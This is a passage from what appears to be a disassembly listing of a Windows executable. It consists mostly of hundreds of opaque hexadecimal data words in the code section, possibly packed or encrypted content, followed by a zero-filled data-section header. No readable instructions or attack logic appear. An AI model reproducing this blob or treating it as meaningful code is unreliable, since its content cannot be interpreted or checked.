dd 1C5D4CF0h, 71299E76h, 8C9D268Ch, 5475545Dh, 0E12CFBAFh dd 2C293CA2h, 0A4600D61h, 35127016h, 0D629EE0h, 99CC62F4h dd 22FCC23Ah, 0EEAC787Fh, 89A53761h, 0E5BEAFA5h, 939D88D5h dd 76605554h, 0E0A46E05h, 467D56ACh, 0C238565Ah, 0B0F4A5CAh dd 0E1A8809Ah, 127CA4DEh, 7A87D9F6h, 86853366h, 0E567C554h dd 46C293Bh, 9CF29514h, 0FD0DA157h, 81AF8C9Ch, 1320069h dd 0DDD0E054h, 0AF910527h, 1EE8CCBCh, 400ADB54h, 78299F49h dd 6A27B35Fh, 41DAACC4h, 7D6AC2FFh, 0AF0B8398h, 0EBAA8AB3h dd 3BAA52B0h, 0E91C2B42h, 1C949A6Bh, 4FF73E67h, 0D576F5BDh dd 143E9D66h, 0D572B129h, 0DEF64F22h, 0ECED1151h, 0DE432E1Eh dd 3A93F7D2h, 506C3CA5h, 1CAD653h, 98BF0E2Dh, 0E512FCB1h dd 540D3212h, 52F9CAD2h, 4C8C6463h, 0C89B69D9h, 4FD3753Eh dd 3A48EA91h, 90638562h, 0D0BE2C5Bh, 0E6D13315h, 0CD0F36F8h dd 0A406F969h, 0BCC3615Bh, 0E151FC1h, 0E99C2FB1h, 0E9A5F743h dd 72B70E1Ah, 0E33922FFh, 1A5AA27Eh, 83F93B3Ah, 5F5C3369h dd 2751E062h, 0E3B3FFD1h, 0AFEECA89h, 0BEF1DFh, 4F140A4Bh dd 799A1B56h, 79C6F1C8h, 84FFB02Bh, 0F7D94501h, 146B2EDh dd 0BAE997CBh, 8E6BF680h, 0B363F62Dh, 0F1C392DFh, 5DCDCDB6h dd 0D6D92FFCh, 0F052DE9Eh, 0E30B0856h, 0E2B5D627h, 953EEECBh dd 2FBD623Ah, 65F7D163h, 0A08C0E41h, 0AF29DC50h, 0C86F9550h dd 0C8AE605Fh, 1E113FE9h, 0BCD7B8A0h, 0E20AD087h, 0C7917549h dd 544D80BBh, 0B8424852h, 965AD734h, 3841AAEh, 0CDA2408Eh dd 5B23BF44h, 5FF1AA54h, 35ED432Eh, 0F176C174h, 449BBDE4h dd 5173CE6Fh, 0ED4155B0h, 93FD8557h, 221A1FE1h, 0D80AC35Ah dd 0E1901046h, 53BAED81h, 28ABF3C3h, 61BB9CBBh, 448F6F9h dd 1A7B7746h, 9CA89B14h, 100860E0h, 984F544h, 11A54917h dd 0B69FA94Fh, 4E032F08h, 0A3CD2D80h, 0F5353931h, 124059F3h dd 0C15E958Dh, 9D7C90C3h, 82407EA7h, 6EFCD815h, 0A72DA9Ah dd 4F974EE0h, 0E5286DD6h, 1796F282h, 0C9050488h, 3F74B550h dd 0DD328174h, 6819B8B3h, 0A934E2BDh, 5BED9BE4h, 866ED4E1h dd 78DF1DF3h, 3869592Bh, 83B7EBB8h, 606FEC92h, 97C34829h dd 0F543B5EDh, 0C49B3C2Ch, 0F848CD40h, 0B95B6348h, 9EDABB4Ch dd 97F6C61Ch, 4F37ECDCh, 0A03A7DA2h, 8CC89182h, 7F3CFD4h dd 0AFBB42B1h, 10DAE280h, 8BEB4EC7h, 0E0FD3BA8h, 0DCBF421Ah dd 21834E2Eh, 1A5E8996h, 0EAFA20Ah, 9BD91691h, 235B9890h dd 647C7972h, 659393F6h, 95005ACEh, 86574850h, 81D6B8C2h dd 43520F43h, 664BD3E9h, 0B8FE1F7Ah, 0A43620C8h, 4E88A86h dd 6CA601D5h, 0B7AE4E96h, 8A95B11Bh, 2BE3C6E5h, 4395A5B5h dd 2657294Dh, 7F6BA747h, 0F7225B36h, 988215ACh, 6A5B926Bh dd 27FCCCB5h, 884FFBC1h, 6D508DFCh, 0D6001BF2h, 0A9842329h dd 0FB161FC0h, 8F7D149Fh, 12E49439h, 3209E3BCh, 0F83A21ECh dd 0E82FB157h, 655D20Bh, 0E747DE78h, 1F2C535Dh, 3878FEACh dd 0DD0470AFh, 5C9666B3h, 0A9D3AA87h, 2BDC12BCh, 3B434D92h dd 0C5DC9157h, 9F853CAh, 0F174801Ch, 0CBE5307Fh, 8BB3F662h dd 961C9688h, 0EDBB191Dh, 84FCEA86h, 11357269h, 2A01C9E9h dd 0DBB4FF2Ch, 0E622AF22h, 762827D6h, 0CB9085E7h, 0B26FA112h dd 0AA93E6A8h, 929C4A73h, 0C88F746Dh, 9979CFCAh, 9FA9B32h dd 35AADE13h, 24AFE37Bh, 0D7286146h, 58111C96h, 31D47F2Dh dd 0DF0E4445h, 0A8738B09h, 69A88702h, 4062D272h, 1AE90248h dd 93997F54h, 25AD8C67h, 7604D1CAh, 27136D47h, 368D4FFAh dd 5153785Ch, 4E21962Ch, 53620176h, 0A1824F4Ah, 0B637A6A4h dd 52B66C12h, 83985AB4h, 0CEF0E76Bh, 85B56298h, 0E9E5C4BCh dd 0A80F2D5Ah, 8D29EE16h, 8270495Ch, 0D072478Ch, 0A0BD42DDh dd 54021ADBh, 0DCA887B6h, 40BFE5C2h, 0C33085DBh, 21C03D73h dd 5F387425h, 0C33E19F2h, 8923F4A0h, 0A45A267Bh, 7EFECDF6h dd 4BCC5E4Fh, 71579463h, 2F833C2Dh, 6CC90418h, 0E9F6B861h dd 0E4940C65h, 446A8639h, 721571CAh, 76C79FDBh, 7D021CECh dd 9564180Ch, 0ECCA8CB3h, 485C7B15h, 986D5833h, 322E53DCh dd 2B100F5Dh, 5FF1896Eh, 7EABF1D2h, 3D43AFD4h, 0BC411646h dd 497D81DBh, 0BD3A7761h, 0E2A51BDCh, 29A9E534h, 0FD87CECh dd 25CCA675h, 5E799A62h, 5E14E97h, 2A8B10FFh, 0ED9EF074h dd 0DAA536FAh, 9045B883h, 2A512EABh, 56A672C5h, 85A85480h dd 2D7F50D5h, 0B4A7C060h, 0C76B7C1Dh, 0CA3FC1Bh, 1FAC1389h dd 3570333Eh, 0BF744BEEh, 495BFC4Ah, 0D6AC0F68h, 0A2AD65BEh dd 25D60BF2h, 3F2FC807h, 2A7505E7h, 0FE029680h, 0CE1F5663h dd 981C04BDh, 0BB4583C3h, 46C4ECAh, 0A54840FCh, 4EFD56E0h dd 0F148A7C9h, 23D8D96Bh, 0A1E29746h, 3EFBBE16h, 0D9E8BD39h dd 0AF34B575h, 225DDD0Ah, 3EF19EE5h, 18E46B93h, 0A3D0C2F5h dd 0CED5FA12h, 7043B5AFh, 5BD4EEE8h, 9FBD5AADh, 0C290177h dd 0C8F9E6B6h, 1F8B8584h, 0A4EB737Ch, 21BAE604h, 0A2231B19h dd 95589498h, 3ABF75CFh, 0A86038A7h, 2C407D9Dh, 5A9AA1A6h dd 0DA74912Ch, 25C23196h, 0CB97A54Ah, 0C931976Ch, 94FF6DD7h dd 0C185FD8Fh, 0EE4DFD0Dh, 0DE480D23h, 0D7D78263h, 0A4111203h dd 5083BB0Ah, 6E4EA5B7h, 2A24B49Ah, 1F2CD039h, 0B6776261h dd 6CCB6A05h, 0B7D4E8A1h, 0D78D6D83h, 0F171B18h, 0DACF9138h dd 5D3E85FCh, 487016E2h dd 631E06BDh, 3EDA55FBh, 0E18F2DA2h, 34BC5D44h, 0EC0129A7h dd 84B2D9E3h, 97346E5Bh, 0B2634FC3h, 0BC7723C5h, 6482AEAAh dd 0E3959D0Ah, 764D81B5h, 3CA396B3h, 11EA11DFh, 83DED755h dd 0B415B154h, 43F9C48h, 4DF99566h, 0F3CF429Fh, 821BD21Ah dd 789A5330h, 8022C0BCh, 87A71DA0h, 38BE3942h, 0D643B57Ch dd 64DFE3EFh, 5EA11C0Ch, 7E1E3505h, 33DDEC48h, 24D60EF3h dd 0DB16B5Dh, 9CB1FBC5h, 448E3F5Ch, 3001030Eh, 0E2C9654h dd 51A6FCAFh, 0FF5C3730h, 7D7A78F3h, 78701F16h, 9C1F458Dh dd 0AAFC4A90h, 6FC69101h, 7EA9585Eh, 65DE5A74h, 0C28C14CDh dd 865AC8C8h, 48D77296h, 0B08F9403h, 3C9E81B5h, 37A4A1D1h dd 7290211h, 8E41553Dh, 0B33A7078h, 7E0B1940h, 0B7E6710Eh dd 77A03ABBh, 6E1074F4h, 0B7843D65h, 88CA81EBh, 0FE202D20h dd 0B8A0BAFFh, 0FCD4C3EFh, 432EAB52h, 0D72E18ABh, 4DEF3EC0h dd 2D680033h, 179A1D8Bh, 6315AE34h, 28C8E848h, 131D55F3h dd 31FFA4DCh, 66D05190h, 0E2587D92h, 293522CCh, 0CFA0601Ah dd 8D8CA1BAh, 12EB06Ch, 0DD2EA172h, 0EC977DBAh, 0C3FDA56Ah dd 0CE1874D1h, 63996F96h, 0CED46C57h, 0BA44CCA6h, 7A311C39h dd 2401B661h, 17804E34h, 938D1636h, 305158Eh, 0E57DE15Dh dd 45B8FCA6h, 7BD4A4ACh, 0CEC23881h, 0B4DC00CEh, 272889FEh dd 0FAA4758Fh, 965B4D2Ch, 6D2F0A8Dh, 0F46AF5A3h, 557CC16Ch dd 50F3FF01h, 9D3153D6h, 1FEF860h, 259990DAh, 0CE0A8725h dd 0E0A0F040h, 18F25A3Dh, 11F66B08h, 5591ABDCh, 2000685h dd 0C6211BA0h, 0CAB20355h, 773838CFh, 37CFEF47h, 3911D461h dd 0BD766Fh, 41C3537Fh, 0A23FC8A8h, 0B36F2C0Dh, 2FBE257Ch dd 3E784ADBh, 833790C1h, 0EC29EA18h, 9927E366h, 4773E3AAh dd 38BF36AFh, 48044AE6h, 0F6AD39F6h, 4D1C32A4h, 93543F1h dd 446C5C91h, 8CB7DDDBh, 0AE04750Eh, 0A7FE7531h, 90C4327Fh dd 0E216ADC3h, 148318DEh, 63F92392h, 29EEFEB4h, 6218F127h dd 0D70A8337h, 0A8C1BF92h, 9E23ABE8h, 2D2DB6DBh, 0D489D61Ch dd 71A7D288h, 25071349h, 0BD33FF22h, 688D5595h, 74520351h dd 0BB18279Eh, 84D8554Ah, 8FD4CD2Ah, 0AC18C542h, 88301A88h dd 0EE913D98h, 4DD5EEA6h, 34AB88B5h, 0D4080286h, 0BCE0C39Eh dd 4D214947h, 0E1DFF1CDh, 0F9DA20D8h, 551F9019h, 0E289F29Fh dd 3C7F4670h, 0D91AD2B6h, 0C613F4F4h, 0F53680D0h, 0E959FCCCh dd 60D60142h, 38173584h, 6B444468h, 3C823063h, 8A02599Fh dd 3E3E26D2h, 5EE08168h, 93B0E2C8h, 0C2C63807h, 0A14CA45h dd 27419E76h, 7D593880h, 861F0ACDh, 79A91F02h, 9C7B4CCDh dd 0E68EFC3Ah, 0F0CF3676h, 0B3DD4B91h, 87547D6Ah, 1612A568h dd 1AFEF71Bh, 3101AEF3h, 130FFCB9h, 8FB1DC83h, 0F0A0CEC2h dd 3689DAA1h, 0D0FB7DE6h, 0FACC16A9h, 0A2868864h, 0EA632516h dd 327A3E06h, 0F2E607FEh, 0FE0BC983h, 97FDBABh, 592189C0h dd 1D45789Ch, 160806B4h, 0F590EA3Ch, 62DD0C61h, 0ADC90DFh dd 57CC46C5h, 0F6740017h, 0A573A4B3h, 0CA639A96h, 0D0E8D43Eh dd 55062A13h, 8714C0BFh, 20F8D5B0h, 12CD7619h, 0A49A1761h dd 91A9E3F7h, 1211E7B7h, 0E4C6393Ch, 1A8A31Dh, 6396E074h dd 0C990EA8Dh, 0FAB66C7Dh, 7FCCB57Ah, 9C67A7B8h, 1EB742B2h dd 0E4AB5C14h, 0E87B562Ch, 0BC4EA212h, 98C93310h, 2861E120h dd 0CA4B8BB2h, 2DB6F665h, 68AA0C82h, 1330315h, 0FAB120C0h dd 7F022341h, 3DDA4C3Dh, 0C03BE1C9h, 69A76AC2h, 70A3AE29h dd 502B4CCEh, 6A192AACh, 0A38E4F42h, 1EA37611h, 0F372D61Ch dd 52156B8Ah, 5CF5D337h, 0C4E611Dh, 6FB94AFDh, 0D75D8D2Bh dd 162EC904h, 4567B144h, 52180C57h, 0E98FDBCCh, 2A0CD6A5h dd 7F443977h, 0E3E89C32h, 0A7B37ABCh, 8FE08EDDh, 7C350C92h dd 0AB6B1ACCh, 0E6664A0Fh, 0FBE5FD91h, 0B89F2A0Bh, 0D61450C1h dd 0F3616EFDh, 836742D9h, 0D57FBB6Eh, 4691DEFFh, 33B2A3E7h dd 41A0DA66h, 3EDCCE3Fh, 813F1857h, 693DAF59h, 0BD4C896Fh dd 869CC533h, 17BAFCB7h, 6ABED5DEh, 5E7D1558h, 2DDD52A4h dd 0A01CC338h, 24D72167h, 0D4E8190Eh, 0B1C740DBh, 6C37A96Bh dd 0B7390FADh, 0D8D1FEE2h, 0CC35901Bh, 631301A7h, 8DCE23B6h dd 0A663A85Fh, 9DE626A7h, 29E749EAh, 0ED8CFB27h, 7D08E13Fh dd 0DE99794Ah, 0EB584D98h, 0DB90AB6Ch, 861127F9h, 306F0206h dd 0AB3ECF54h, 0EF9006E6h, 71735012h, 97013E05h, 1C440C98h dd 0F1B95327h, 0CF5BF981h, 0FEB59822h, 0A11E2261h, 0C0DC8B41h dd 0D4A0F4C1h, 0E4CA07C5h, 1A4226C2h, 28C39F3Fh, 296F65C2h dd 0F73E6A5h, 0B0477CB4h, 50A2F861h, 7666056h, 0D00F6B24h dd 0CC66D4F7h, 7A16D511h, 775C3CC9h, 0FE3ECDABh, 808930Eh dd 0C12A17ABh, 6E38C2AAh, 3A718A17h, 5EAC66B3h, 7DFC2886h dd 33997536h, 4FCD6BD9h, 94C8FE71h, 4F153763h, 718F2154h dd 0E22F6C3h, 0B8E35D1Bh, 52577439h, 13235A3Dh, 6BB8910h dd 0BC6C9B4Ch, 0F77AD701h, 0A82BD631h, 0BADC3486h, 73F7D549h dd 2F361A25h, 4F2838BDh, 7A360267h, 0A4B4F8A8h, 74E53002h dd 8770A753h, 0AB5FA261h, 9D88A37Ch, 6F21A38h, 3918E76h dd 2C7AC762h, 507FAACCh, 845BED46h, 0D965A605h, 5239BFFCh dd 0C646CFA7h, 0D739C65h, 0B7DAE34Bh, 0C3CACF73h, 32F8F5D8h dd 933F10A5h, 202776D6h, 0B56DF3ADh, 5AEC5AFDh, 0CC985C79h dd 4338B782h, 63475898h, 229771FFh, 0A12E7B40h, 1BF0D41h dd 0E9DD9B81h, 0ABF548E7h, 0EBCEFC8Ch, 44E0909Eh, 342EFC5Ch dd 0AD57D5F0h, 35141BAEh, 4B4818A0h, 3FDE829Bh, 2A45597Ch dd 0A06F2ED4h, 0BCD54BDEh, 403A3548h, 1AD39D11h, 4B5077ABh dd 7A91FF0h, 9AC5336Dh, 53B2D4A9h, 21AD1B1Dh, 8CE390E4h dd 740F65CFh, 41FF63EAh, 8972CA4Ah, 344EC9ACh, 0C310B45Eh dd 0E9423131h, 0ED35393Dh, 965749ADh, 0FFE551B5h, 666A29FBh dd 95B02578h, 0B18F7D9Bh, 0CF066E2Bh, 6571B91Bh, 591C2AFEh dd 0E8F5C593h, 0CE8D3378h, 9D5FA6C6h, 74EA334Dh, 0D9E1E2FAh dd 0CA58A646h, 0D7A1C662h, 2DC43282h, 0F5034F8Bh, 0DB63920h dd 0D340AAB9h, 0E984E23Ah, 2A0F818Dh, 5354DF00h, 88A4C9Ch dd 11456F71h, 8BFCCD5Ah, 2E6D5238h, 0D9B11A7Ah, 0C27A11FDh dd 1862F62h, 30FCB656h, 0AC4EB362h, 74D1E265h, 6E24BCF1h dd 3ECD688Fh, 8A9EFF32h, 0E31C6AFFh, 29E7A735h, 2111ACF9h dd 0E0D94270h, 4FB30C41h, 0F90245AAh, 5F21BDA8h, 0F422EBD3h dd 0EA04BA81h, 0D9D85927h, 35EB7E11h, 5DBF6A57h, 0FD9286ADh dd 0D2ECBC03h, 6AF28668h, 871147Dh, 48CA89B1h, 2E8CF75Bh dd 2645461h, 0D08DE09Ah, 0BA4D0D2Dh, 8B804CBAh, 0DA3C1A32h dd 0E5A2E0Dh, 0CE7E4A9Eh, 0A60F58C4h, 0C699619h, 526BC5F3h dd 3BF9A9CFh, 85874B82h, 207B8349h, 2F015CBEh, 0EB418C9Fh dd 0C81DF2BDh, 452FD16Ah, 5BBF0820h, 2E4542CBh, 4E4BD83h dd 0D55ECB30h, 6F1DE9D9h, 7C2F397Eh, 21070493h, 0EC79CB8Eh dd 6730267Ch, 0A384BE08h, 81A43C16h, 0D262AAF5h, 0E02F0290h dd 875C5035h, 208C6D34h, 0B20CBC7Fh, 3C9572FBh, 0AD93182Bh dd 0C52E033Bh, 0C7677E12h, 494FA03h, 8EA8B1F8h, 4C367ADAh dd 7E93D188h, 0DCE8AF25h, 0F80AD09Dh, 802CC47Ah, 59C89296h dd 799764F0h, 18A5E722h, 59F0F2B7h, 0D9171804h, 810C2935h dd 0E8CF5848h, 6A8B9E93h dd 400h dup(0) _text ends ; Section 3. (virtual address 0002E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0002D200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 42E000h dd 80h dup(0) align 1000h _idata2 ends end start